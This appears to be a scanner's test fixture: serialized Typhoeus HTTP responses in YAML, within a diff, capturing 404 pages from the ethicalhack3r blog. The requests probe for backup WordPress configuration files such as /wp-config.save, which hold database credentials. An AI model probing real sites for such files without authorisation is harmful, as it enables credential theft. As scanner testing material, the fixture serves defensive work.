<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.save/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 2.8e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.save
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:26 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=0fs72im2dr2p2ptbkfnff0j9ncbs1lm2; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:26 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
Content-Encoding: gzip
http_version:
mock: false
name_lookup_time: 2.7e-05
pretransfer_time: 2.6e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.save
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.save
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.701932
status_message:
time: 0.726919

View File

@@ -0,0 +1,310 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 3.2e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Php~</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
